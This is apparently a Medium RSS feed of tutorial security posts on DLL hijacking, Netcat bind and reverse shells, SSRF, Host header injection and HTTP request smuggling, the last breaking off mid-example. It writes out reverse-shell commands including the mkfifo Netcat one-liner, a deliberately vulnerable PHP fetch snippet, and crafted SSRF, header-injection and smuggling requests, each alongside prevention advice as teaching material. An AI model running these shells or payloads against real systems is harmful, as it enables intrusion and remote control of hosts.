<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by A. Boukar on Medium]]></title>
        <description><![CDATA[Stories by A. Boukar on Medium]]></description>
        <link>https://medium.com/@patchthenet?source=rss-74aeef845ec5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lAeU_5mbdB9Xd55J93lEAg.jpeg</url>
            <title>Stories by A. Boukar on Medium</title>
            <link>https://medium.com/@patchthenet?source=rss-74aeef845ec5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 19:37:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@patchthenet/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[What is DLL Hijacking and How to Prevent it?]]></title>
            <link>https://patchthenet.medium.com/what-is-dll-hijacking-and-how-to-prevent-it-e387a1ff3b2f?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e387a1ff3b2f</guid>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Tue, 03 Oct 2023 09:43:37 GMT</pubDate>
            <atom:updated>2023-10-03T09:51:01.395Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, we will explore <strong>DLL Hijacking</strong>, and how attackers use it for privilege escalation in Windows. We will also explore how to prevent DLL Hijacking attacks.</p><p>But before that, and just so we are on the same page, let’s start off by clarifying what a DLL is.</p><figure><img alt="What is DLL Hijacking and How to Prevent it?" src="https://cdn-images-1.medium.com/max/600/0*pZS0Wr6JuBfh5RhY.jpg" /></figure><h3>What is a DLL file?</h3><p><strong>Dynamic Link Libraries</strong> ( <strong>DLL</strong>) are files that provide useful functions for Windows executables. Different Windows programs can load and use these functions during their execution.</p><p>To put it in simpler terms, DLLs contain code that multiple programs can use at the same time.</p><p>Using DLL files will have the advantage of reducing the application size and limiting its resource consumption. Instead of coding the same functions that programs commonly use on Windows, they can simply import them from DLL files.</p><p>As an example, the file <em>comdlg32.dll</em> contains common dialog box functions, like the open file box. Programs on Windows can use this already available functionality without having to code it from scratch.</p><h3>What is DLL Hijacking?</h3><p>DLL Hijacking is an attack technique that consists of tricking an application into loading an altered DLL file.</p><p>Under normal operation, when an application depends on a DLL file, it loads it into memory. However, a malicious actor can take advantage of this process by injecting malicious code into the DLL file. As a result, the application unknowingly executes the malicious code, altering its behavior.</p><p>If the attacker targets a program running with elevated privileges, the attack may lead to privilege escalation.</p><p>DLL hijacking can also be used to evade anti-malware detection, by leveraging a legitimate, whitelisted application to load a malicious DLL.</p><p>Furthermore, since many applications load DLL files during startup, the attacker can gain access each time the system boots. Therefore, ensuring persistence.</p><h3>How to perform DLL Hijacking?</h3><p>DLL file replacement is the simplest form of DLL hijacking. This is when the attacker simply replaces the legitimate file with an altered one. However, we should note that there are different approaches that adversaries may follow to conduct this attack. Here are some of the most common ones.</p><ul><li><strong>Phantom DLL Hijacking:</strong> Very often, a program may depend on a missing DLL file. The attacker can insert their file at the location of the missing DLL file.</li><li><strong>Search Order Hijacking:</strong> When loading DLL files that are specified in relative paths, applications will try to search for the file in specific locations and following a pre-defined search order. In general, Windows will look for the file in the directory where the application was loaded. If it is not there, it will look in the system directory. And so on until it finds it. The attacker can exploit this by inserting their file at any location that is listed before the one where the legitimate file is located.</li><li><strong>DLL Redirection:</strong> Unlike the previous approach in which the search order is exploited, attackers use DLL redirection to change the search order itself. This method consists of changing the locations where the operating system searches for the DLL file. For example, the attacker can modify the registry or the PATH environment variable.</li></ul><h4>Identifying Missing DLL Files</h4><p>Let’s look at an example of a Phantom DLL Hijacking. To perform this attack, we would first need to identify the missing DLL files that applications are attempting to load. To achieve this, we can use a tool like <strong>ProcMon </strong>( <strong>Process Monitor</strong>).</p><p>Using this tool, you can filter events where a DLL file was not found.</p><figure><img alt="DLL Hijacking using Procmon" src="https://cdn-images-1.medium.com/max/600/0*jHsmFrwJQUZtf9mO.jpg" /></figure><p>For privilege escalation, you should add another filter to only include processes that are running as SYSTEM, which is the highest privilege level on Windows.</p><figure><img alt="Procmon System Processes" src="https://cdn-images-1.medium.com/max/600/0*x68CVcutl66JMXGQ.jpg" /></figure><p>Once you identify SYSTEM processes that are calling missing DLL files, you can place your file in the location where the DLL was not found.</p><p>For the attack to be successful, you would need to have the “write” permission on the location where you want to insert your file. If that is not the case, you can always attempt to exploit the search order or perform DLL redirection as we’ve seen above.</p><h3>Defending against DLL Hijacking attacks</h3><p>Defending against DLL hijacking should start during the application development phase. Developers should specify the fully qualified path when calling DLL files to prevent the OS from searching for files in the wrong location.</p><p>Unfortunately, most programs are not developed in-house, and organizations cannot always guarantee that the programs they use are developed following certain secure coding practices. Nevertheless, they can still make sure to only use trusted software that is digitally signed, and avoid downloading software and libraries from unverified sources.</p><p>Another important control is activating the Safe DLL Search Mode. This is a registry key that restricts DLL loading. Enabling Safedllsearchmode will force the operating system to prioritize loading DLL files from system directories before attempting the local user directory.</p><p>Finally, keeping a good security posture can go a long way to protecting your organization against DLL hijacking attacks. This includes keeping your anti-malware solution up to date, performing regular scans, and raising security awareness among employees and contractors.</p><p><em>Originally published at </em><a href="https://patchthenet.com/blog/what-is-dll-hijacking-and-how-to-prevent-it"><em>https://patchthenet.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e387a1ff3b2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create Bind and Reverse Shells using Netcat]]></title>
            <link>https://infosecwriteups.com/create-bind-and-reverse-shells-using-netcat-c53b23df8059?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c53b23df8059</guid>
            <category><![CDATA[nc-shell]]></category>
            <category><![CDATA[mkfifo]]></category>
            <category><![CDATA[netcat]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Mon, 18 Apr 2022 16:47:38 GMT</pubDate>
            <atom:updated>2022-04-20T10:22:53.340Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Netcat </strong>(<strong>nc</strong>, <strong>ncat</strong>, or the swiss army knife of networking, as some might prefer to call it) is a command-line utility that every self-respecting pentester should carry under their belt. Attackers often use Netcat to create reverse shells on a target machine. This article will cover the different ways to perform this.</p><p>Before we start, this article supposes that you have a basic knowledge of networking, how computers communicate, and what ports and IP addresses are. If this sounds like Chinese to you, then you should probably learn about computer networking first. A good place to start is Patchthenet’s introductory <a href="https://patchthenet.com/computer-networking/">networking tutorial</a>.</p><p>With that being said, let’s cut to the chase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*r4sPBeXTtnYRySNe.jpg" /></figure><h3>Introduction to Netcat</h3><p><strong>Netcat</strong> is a command-line tool for establishing TCP and UDP network connections, and reading/writing to them.</p><p>To try to explain the different applications of this utility will take an entire book, not just an article.</p><p>So, in order to avoid boring you with a lengthy post, we are going to cover here the basic uses of Netcat in Pentesting and Ethical Hacking, as that is what we are here for, right?</p><p>At its most basic level, Netcat is just a tool to interact (read/write) with a connection between two nodes over a network.</p><h4>Using Netcat to create a network connection</h4><p>In order to make a network connection between two nodes, one of them will need to be listening on a specific port, while the other initiates the connection to that port.</p><p>At the first node, you can activate the listening port by running the following command.</p><pre>nc -l -p &lt;Port-Number&gt;</pre><p>The -l flag indicates that you are running Netcat in the listening mode.</p><p>You have to specify a number after the -p flag to indicate which port will Netcat be listening on.</p><p>Once you have run the above command, the node will open the specified port and wait for incoming connections.</p><p>We can now go to the second machine and initiate a connection with the listening node.</p><p>To do so, you can run the following command:</p><pre>nc &lt;IP-Address&gt; &lt;Port-Number&gt;</pre><p>The provided IP address should be that of the listening node, and the port number is the same one that we specified earlier with the -p flag.</p><p>Now, to demonstrate how that works with a real example, I have launched two terminals and typed the two commands we just learned to simulate a connection. Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/0*K0R11f3a2fMYWnkF.png" /></figure><p>For the listener command, we can add the -v flag, which will make Netcat more verbose. This will display a message when a connection is established, which is more convenient than having a blank screen.</p><p>We can also add the -n flag, which will tell Netcat that we are only working with IP addresses and no DNS name resolution is needed. This will make it much faster.</p><p>By combining all these flags, the resulting listener command will look like this:</p><pre>nc -lvnp &lt;Port-number&gt;</pre><h3>Bind and Reverse Shells Using Netcat</h3><p>Now that we have an idea of how Netcat works, let’s discuss a bit of theory for a minute.</p><p>Unless you’re a complete noob in hacking, or in computer science in general, you should have an idea of what <strong>the shell</strong> is. Well, just in case you don’t (and there’s no shame in that, we are all here to learn), here is a brief definition.</p><p>A <strong>shell</strong> is basically any program that takes commands from a user and sends them down to the operating system level for execution. It then sends back the result of this execution to the user.</p><p>Bash, cmd, and Powershell are all examples of popular shells.</p><p>As a pentester, sometimes you will succeed in exploiting a remote code execution vulnerability on a target system. Now, in order to gain initial access to that system, you will have to spawn a shell that will allow you to run commands interactively on the target operating system.</p><p>To perform this, you will have two ways to go from there: <strong>Bind</strong> or <strong>Reverse shell</strong>.</p><h4>Bind Shell</h4><p>Spawning a bind shell requires you to run a listener on the target system, and then you connect to that listener from your machine.</p><p>The command to establish the connection will be the same as we’ve seen in the previous section.</p><pre>nc &lt;IP-address&gt; &lt;Port-number&gt;</pre><p>However, for the second command, there will be a small difference.</p><pre>nc -lvnp &lt;Port-number&gt; -e /bin/bash</pre><p>When trying to activate a listener, The nc command will have another option -e. When you use this flag, Netcat will execute the specified command after establishing the connection. In this case, we have provided /bin/bash as the command that will be executed. This will give us a bash shell on the target machine when the connection is established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a_4qpt20ose78HPx.png" /></figure><p>Note that this command will only work in a Linux system. In the case of Windows, a small adjustment is necessary. You can simply replace /bin/bash with cmd.exe.</p><h4>Reverse Shell</h4><p>In a reverse shell, which hackers tend to use more often than bind shells, the attacker will run a listener on their machine. And then, they will initiate the connection by running a command on the target machine that will connect back to the listener that the attacker is running.</p><p>To spawn a reverse shell, you should first run a simple listener on your machine.</p><pre>nc -lvnp &lt;Port-number&gt;</pre><p>On the other end, we will have to provide the -e option when running the command on the target machine.</p><pre>nc &lt;IP-address&gt; &lt;Port-number&gt; -e /bin/bash</pre><p>Once we run the above command, we should get a reverse shell on our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9kHGpGp3t__qeJjD.png" /></figure><p>Here again, if you are targeting a Windows machine, you can change /bin/bash with cmd.exe.</p><h4>The Mkfifo and Netcat One-liner Reverse Shell</h4><p>Before we end this article, there is one important command that we should discuss. This is one that is very popular among the hacking community and is used very often to spawn reverse shells.</p><p>Sometimes, the classical way to spawn a reverse shell may not work. When that happens, you will have to take out the big guns. This one-liner will give you the shell when others won’t. You should add it to your pentesting arsenal, and keep it at hand’s reach.</p><pre>rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;IP-Address&gt; &lt;Port-number&gt; &gt;/tmp/f</pre><p>Instead of copying and pasting this command each time you need it without having a clue about how it works, wouldn’t it be great to understand how and why it works? Well, if you agree, then this is what we are going to cover in this section.</p><p>We can break this line down to 3 commands:</p><ul><li>rm -f /tmp/f</li><li>mkfifo /tmp/f</li><li>cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;IP-Address&gt; &lt;Port-Number&gt; &gt; /tmp/f</li></ul><p><strong>Let’s Break it down</strong></p><p>Now, the first command is simple. It simply deletes the file /tmp/f in case it already exists.</p><p>Next, we create a named pipe using the command <em>mkfifo</em>. A <strong>named pipe</strong> (or FIFO file) is basically a file that multiple processes can read from and write to. It can therefore be used when processes need to exchange data.</p><p>And then, we get to the last and most interesting command: cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;IP-Address&gt; &lt;Port-Number&gt; &gt; /tmp/f</p><p>This command will first read the content of the FIFO file that the previous command created ( cat /tmp/f), and sends its content to /bin/sh -i. This will execute whatever commands are in the file /tmp/f.</p><p>Then, <em>stderr</em> will be redirected to <em>stdout</em>, which is implied by the 2&gt;&amp;1 portion of the command. In other words, this will redirect whatever error that the command generates to the standard output.</p><p>In the next step, Netcat will send the standard output it receives from the previous command to the host with the given IP address and the given port : nc &lt;IP-Address&gt; &lt;Port-Number&gt;. Of course, this supposes that there is a host with this IP address that is listening on this port.</p><p>Finally, netcat will send whatever data that it receives from the remote host to the FIFO file &gt; /tmp/f.</p><p>And then, the loop starts again by reading /tmp/f, running its content using /bin/sh, and so on…</p><p>To make this process clear, I’ve put together a figure that illustrates what happens when you spawn a reverse shell using this command. Here, we suppose that the attacker runs the command <em>whoami</em> on the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*gCB19x1UCW84P0dW.jpg" /></figure><h3>Conclusion</h3><p>We have reached the end of this article. We have learned about how to use Netcat, what are bind and reverse shells, how to create them using Netcat, and finally, we have broken down the mkfifo netcat one-liner. Now, Netcat should not be a mystery to you anymore.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/create-bind-and-reverse-shells-using-netcat/"><em>https://patchthenet.com</em></a><em> on April 18, 2022.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c53b23df8059" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/create-bind-and-reverse-shells-using-netcat-c53b23df8059">Create Bind and Reverse Shells using Netcat</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Request Forgery (SSRF) Explained]]></title>
            <link>https://infosecwriteups.com/server-side-request-forgery-ssrf-explained-7d87b67b0e3b?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d87b67b0e3b</guid>
            <category><![CDATA[ssrf-explaine]]></category>
            <category><![CDATA[request-forgery]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Fri, 08 Apr 2022 12:28:24 GMT</pubDate>
            <atom:updated>2022-04-11T08:46:11.445Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Server-Side Request Forgery</strong> (or <strong>SSRF</strong>) is an attack that consists of inducing a web application to send back-end requests to an unintended destination.</p><p>Driven by the increasing popularity of Cloud services and complex back-end architectures, this attack has become more and more common in recent years.</p><p>In the OWASP Top 10 Web Application Security Risks, SSRF has its own category (A10), which reflects the high severity of this vulnerability.</p><figure><img alt="SSRF Explained" src="https://cdn-images-1.medium.com/max/520/1*J-UwIM_jtF1yJG051hf7kg.jpeg" /></figure><h3>What is SSRF?</h3><p>In a Server-Side Request Forgery attack, a malicious actor will exploit a web application by sending a request containing a forged URL. This URL will generally be pointing to a resource located in a restricted back-end location. This will induce the web application to communicate with this unintended destination and send back the result to the user.</p><p>The destination can either be on the backend network where the target web application server is located, or it can be on the same server itself. Another type is when the destination is on an external server, generally controlled by the attacker.</p><h4>Targeting the Internal Infrastructure</h4><p>In this type of SSRF, an attacker will try to send a request to a back-end service that is not reachable from the Internet.</p><p>Generally, this server is in a secure area behind a Firewall, and an exception may be granted to the web application to allow it to communicate with the server.</p><p>The attacker will take advantage of the trust relationship that the back-end service places in the vulnerable application. They will induce the application to send a request to the back-end system, allowing them to gain unauthorized access to data.</p><figure><img alt="SSRF Process" src="https://cdn-images-1.medium.com/max/520/0*EjZGGgXOC7-bXQF8.jpg" /><figcaption>SSRF Process</figcaption></figure><p>Let’s see an example of how an attacker can exploit a vulnerable web application.</p><p><strong>Insecure Application Example</strong></p><p>For the sake of demonstrating how the attack works, we’ll consider a very basic example of an insecure PHP code.</p><pre>&lt;?php <br>if (isset($_GET[&#39;url&#39;]))<br>{<br>// The url is provided in a GET parameter<br>$url = $_GET[&#39;url&#39;];<br>// The destination url is accessed and the content is opened<br>$handle = fopen($url,&quot;rb&quot;);<br>// The content of the file is dumped<br>fpassthru($handle);<br>}<br>?&gt;</pre><p>In this example, the application opens a file that is provided in a GET parameter named url.</p><p>Now when the user sends a request to the application, here is what it would look like:</p><pre>GET /?url=http://destination.com/resource<br>Host: vulnerablesite.com</pre><p>As you can see, the user can manipulate this parameter and change it to any other URL they want. Since the application does not have any protection mechanism to prevent that, the user can provide a private IP address to induce the application to retrieve a resource on the backend network.</p><pre>GET /?url=http://192.168.1.45/resource<br>Host: vulnerablesite.com</pre><p>The above IP address exists within the range 192.168.0.0–192.168.255.255, which is reserved for private IP addresses.</p><p>Upon reaching this line of code : $handle = fopen($url,&quot;rb&quot;);, the web application will send a request to the host who has this IP 192.168.1.45 on the local network.</p><p>Of course, in this case, the chances that a backend service will have this IP address are very low.</p><p>However, the attacker can build a script that will perform host discovery. The script will scan all possible ranges for private IPs and detect which backend services respond.</p><p>The attacker can also go one step further and perform port scans on discovered hosts.</p><h4>Targeting the Same Server</h4><p>The other type of SSRF consists of targeting the same server that hosts the web application.</p><figure><img alt="SSRF targeting the same server" src="https://cdn-images-1.medium.com/max/520/0*DjbHJjsrMlfl2fCa.jpg" /><figcaption>SSRF targeting the same server</figcaption></figure><p>The attacker can provide the loopback address (127.0.0.1 or localhost) followed by the path to the file to expose.</p><p>They can also use absolute paths to files on the server using URLs starting with file:/// .</p><p>Following on the same example given earlier, an HTTP request targeting the same server will look something like this:</p><pre>GET /?url=http://127.0.0.1/resource<br>Host: vulnerablesite.com</pre><p>or</p><pre>GET /?url=file:///path/to/local/resource<br>Host: vulnerablesite.com</pre><p>Here again, the attacker can exploit this vulnerability to perform port scans on the machine hosting the web application. This may disclose information about possible services that are running on the target machine.</p><h3>Preventing SSRF Attacks</h3><p>To protect your web application against Server-Side Request Forgery, there is a set of good practices that you can follow. They should help you mitigate the risk of an SSRF targeting your application.</p><p><strong>Whitelisting:</strong> Do not rely on Blacklisting URLs. Malicious users can always find a way to bypass these filters, either by using different encodings; using alternative domains that point to the same location; or taking advantage of an open redirection vulnerability. Instead, you can use a whitelist to allow only authorized destinations.</p><p><strong>Network Segmentation:</strong> Not all backend services need to be on the same network. You can try to segment your network into multiple segments separated by Firewalls. This should reduce the impact of SSRF attacks if they ever occur.</p><p><strong>Only allow https schemas:</strong> Generally, the application will only need to communicate using https schema. Other schemas like file:///, ftp:// which can be used to exploit an SSRF vulnerability can be disabled.</p><p><strong>Authentication:</strong> Your application should require authentication even for the communication between back-end services that are on the same internal network.</p><p>Additionally, and this goes without saying, you should always follow common good practices for a secure web application. These include user input validation, proper error handling, secure API practices, secure HTTP headers, and so on.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/web-application-security/server-side-request-forgery-ssrf-explained/"><em>https://patchthenet.com</em></a><em> on April 8, 2022.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d87b67b0e3b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/server-side-request-forgery-ssrf-explained-7d87b67b0e3b">Server-Side Request Forgery (SSRF) Explained</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host Header Injection Attacks]]></title>
            <link>https://infosecwriteups.com/host-header-injection-attacks-7160f9fcf63e?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7160f9fcf63e</guid>
            <category><![CDATA[host-header]]></category>
            <category><![CDATA[http-header-host]]></category>
            <category><![CDATA[host-header-attack]]></category>
            <category><![CDATA[host-header-injection]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Sat, 05 Feb 2022 14:30:05 GMT</pubDate>
            <atom:updated>2022-02-09T16:55:21.686Z</atom:updated>
            <content:encoded><![CDATA[<p>Host Header injection is not the type of attack that you would normally find in CTFs or security challenges. However, it is widespread in the wild web. It is also not exceedingly difficult to exploit once you encounter a vulnerable web server, as this article will later show.</p><p>Before we get to the offensive part, let’s first start by understanding what a Host Header is, and what it does.</p><figure><img alt="HTTP Host Header Injection Attack" src="https://cdn-images-1.medium.com/max/520/0*-YkLVOQpWhVOOSr-.jpg" /></figure><h3>The HTTP Host Header</h3><p>The Host Header is a mandatory field that web clients should include in their HTTP requests. It indicates to the webserver which domain the client is trying to connect to. This can be useful in situations where multiple websites are hosted on the same web server. They can share the same IP address, but differ in the domain name.</p><p>Here is what an HTTP request with a Host header should look like:</p><pre>GET /index.html HTTP/1.1<br>Host : patchthenet.com</pre><p>Web applications are generally not hosted on standalone servers. Rather, you will most often find them running on top of a shared server. These applications will therefore be sharing the same IP address. And so, to differentiate between where incoming requests are destined, the web server will rely on the HTTP host header.</p><p>On the other hand, some websites may only be accessible through an intermediary system that handles the traffic from the client. These systems may be load balancers, reverse proxies, or WAFs. In this case, all these websites will share a single IP address. And once again, the HTTP host header will come to the rescue to help route the requests to their intended destinations.</p><p>Well, now that we have seen the utility of this header, let’s go ahead and see how this can pose a risk to the security of web applications.</p><h3>HTTP Host Header Injection Attacks</h3><p>Sometimes, web applications need to know the domain in which they are hosted. This is particularly true when they need to reference a resource through an absolute path.</p><p>In such situations, a web application will normally get this domain name from the HTTP Host Header value.</p><p>Here is an example of how a web application can achieve this:</p><pre>&lt;a href=&quot;http://&lt;?php echo $_SERVER[&#39;Host&#39;]; ?&gt;/absolute/path/to/a/resource&quot;&gt;Link&lt;/a&gt;</pre><p>Behind this seemingly harmless line, there is a major vulnerability that may not be obvious at first.</p><p>The web application will retrieve the Host Header value: $_SERVER[&#39;Host&#39;], and inserts it in its code.</p><p>However, as we’ve previously seen, this value is user-controllable. Meaning that a user can modify it before sending their request.</p><p>An attacker can simply inject a malicious payload as the Host Header value, and the web application will inadvertently process it and execute it.</p><h4>X-Forwarded-Host</h4><p>Another way to change the Host Header Value is by using X-Forwarded-Host. Proxies use this header to forward HTTP requests to the web server while keeping the original Host value that the web browser has provided.</p><p>An attacker can use this header with a malicious payload to override the Host Header.</p><pre>GET /index.html HTTP/1.1<br>Host : patchthenet.com<br>X-Forwarded-Host : malicious.com</pre><p>By taking the previous example, and changing the Host variable with the above value, we will get the following:</p><pre>&lt;a href=”http://malicious.com/absolute/path/to/a/resource&quot;&gt;Link&lt;/a&gt;</pre><p>An attacker can use the Host Header as a way that leads to various types of attacks. Most commonly, attackers will inject the Host header in order to achieve web cache poisoning, SSRF, or password reset poisoning.</p><h4>Exploitation</h4><p>Once you find a vulnerable website, it is actually straightforward to exploit it. Using a local proxy, you can intercept your request to the website before it leaves your machine.</p><p>For instance, the image below shows the intercepted request to my website using Burp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/0*s7yk8TnCwkeMpOk7.png" /></figure><p>Now, the attacker can simply change the Host Header value, where it says: www.patchthenet.com, with a domain name that they control. And then, they can forward the request.</p><p>Of course, this will not work here, and it won’t be effective against most websites as well, because there are many security controls that web administrators implement in order to protect their websites against these attacks.</p><p>And this is what we are going to cover next.</p><h3>Preventing Host Header Injection Attacks</h3><p>Fortunately, Host header injection attacks are not unavoidable. By following certain security measures, you can protect your web application and mitigate the risk of an HTTP Host Header attack occurring.</p><p>The safest and most secure measure that you can set in place is to avoid using the HTTP Host Header in the first place. You should always ask yourself if you really need to include absolute paths when calling resources.</p><p>When you really need to rely on Host headers, then you should make sure to validate the Host Header as you would for any other user-provided input.</p><p>You should also consider checking the HTTP Host Header against a whitelist of known domains. The web application will only process domain names that are present in the whitelist.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/host-header-injection-attacks/"><em>https://patchthenet.com</em></a><em> on February 5, 2022.</em></p><h3>🔈 🔈 Infosec Writeups is organizing its first-ever virtual conference and networking event. If you’re into Infosec, this is the coolest place to be, with 16 incredible speakers and 10+ hours of power-packed discussion sessions. <a href="https://iwcon.live/">Check more details and register here.</a></h3><p><a href="https://iwcon.live/">IWCon2022 - Infosec WriteUps Virtual Conference</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7160f9fcf63e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/host-header-injection-attacks-7160f9fcf63e">Host Header Injection Attacks</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Request Smuggling Explained]]></title>
            <link>https://patchthenet.medium.com/http-request-smuggling-explained-1a44f1deaa1?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a44f1deaa1</guid>
            <category><![CDATA[http-smuggling]]></category>
            <category><![CDATA[hrs-attack]]></category>
            <category><![CDATA[http-request-smuggling]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Fri, 31 Dec 2021 15:11:57 GMT</pubDate>
            <atom:updated>2021-12-31T15:23:34.502Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>HTTP Request Smuggling</strong> ( <strong>HRS</strong>) is a type of attack that is gaining more and more attention in recent years. Its rise is fueled by the high prevalence of Cloud-based applications and services.</p><p>In this article, we’ll learn the basics of this attack. We’ll see how it works, how to exploit its various forms, and how to protect against it.</p><h3>Introduction to HTTP Request Smuggling</h3><p>Before I go ahead and explain what HTTP Request Smuggling is, we should first start with a brief reminder of how the web works and how web pages are loaded in the web browser.</p><h4>The Web Page Loading Process</h4><p>So, here is how the process goes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*ygXAJPTG1ZCZAt01.jpg" /></figure><ol><li>A user types in a web browser the HTTP address to a web page.</li><li>The web browser sends an HTTP request to a webserver asking for the requested web page.</li><li>The webserver replies with an HTTP response containing the requested page.</li><li>Finally, the web browser displays the received content to the user.</li></ol><p>This process is simple, and it has been the way the web operated for decades.</p><p>Well, it was,… for the most part. Actually, this traditional process is becoming less and less common in recent years.</p><p>Rather than having direct communication between the client and the webserver, the majority of modern web applications present their content to the user through <strong>a chain of HTTP servers</strong>.</p><p>In addition to the web server that hosts the requested web page, the HTTP communication may also pass through a reverse proxy, a load balancer, a web application firewall, or a caching server. Each of these servers interprets the HTTP header of the requests before forwarding them.</p><p>Here is a more realistic representation of how the process works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*6qZQyz1aa0vSs56w.jpg" /></figure><ol><li>A user types in a web browser the HTTP address to a web page.</li><li><strong>The web browser sends an HTTP request to the front-end web server asking for the requested web page.</strong></li><li><strong>After processing the request, the front-end web server forwards it to the back-end server</strong></li><li>The webserver replies with an HTTP response containing the requested page.</li><li>Finally, the web browser displays the received content to the user.</li></ol><p>In this case, the front-end web server sends many requests to the back-end server. So, how does the back-end server knows where one HTTP request ends and another one begins?</p><p>Thankfully, the HTTP protocol specification has defined two ways for marking the end of an HTTP request.</p><h4>Determining the end of HTTP requests</h4><p><strong>Method 1 : Content-Length</strong></p><p>The <strong>Content-Length</strong> Header contains the length in bytes of the message body.</p><pre>GET / HTTP/1.1<br>HOST: target-website.com<br>Content-Length: 18</pre><pre>Malicious request</pre><p>The content length in the above example is 18, which is the number of bytes (characters) contained in the body of the request (17 characters in Malicious request and one character for the new line).</p><p><strong>Method 2 : Transfer-Encoding</strong></p><p>When the request contains the <strong>Transfer-encoding</strong> header with a value of <strong>chunked</strong>, this means that the body of the request contains one or more chunks of data.</p><p>Each chunk starts with a hexadecimal value that specifies its length and ends with a newline.</p><p>The webserver understands that it has reached the end of the message body once it encounters a chunk containing the value of zero.</p><pre>GET / HTTP/1.1<br>HOST: target-website.com<br>Transfer-Encoding: chunked</pre><pre>12<br>Malicious request</pre><pre>0</pre><p>The above HTTP request contains one chunk marked by the hexadecimal value of 12 (17 when converted to decimal), which is the length in bytes of Malicious request. The request then ends when the webserver reaches a chunk of zero. After this, the webserver will start processing the following request.</p><p>By having two ways to handle HTTP requests, a big problem arises: What if the two servers do not use the same technique for delimiting HTTP requests?</p><p>In this case, the front-end server may forward a request that contains another, hidden, request to the back-end server. You can see how problematic this could be. Well, this is what we call <strong>HTTP Request Smuggling</strong>.</p><p>A malicious request may reach the backend web server without being processed by the frontend server.</p><h3>Types of HTTP Request Smuggling Attacks</h3><p>Now that we have seen how HTTP Request Smuggling attacks work, let’s start exploring the different forms of the attack.</p><h4>CL.TE</h4><p>When the front-end server uses Content-Length and the back-end server uses Transfer-Encoding, an attacker can send the following payload to smuggle the malicious request to the back-end server:</p><pre>GET / HTTP/1.1<br>HOST: target-website.com<br>Transfer-Encoding: chunked<br>Content-Length: 21</pre><pre>0</pre><pre>Malicious request</pre><p>The front-end will treat the above message as a single request and passes it to the following server. However, when the back-end server receives this request, it will handle it as two different requests separated by the line that contains 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*YAjXDC5dDyJVF_UF.jpg" /></figure><h4>TE.CL</h4><p>When the front-end server uses Transfer-Encoding and the back-end server uses Content-Length, this time, an attacker can send the following payload to smuggle the malicious request to the back-end server:</p><pre>GET / 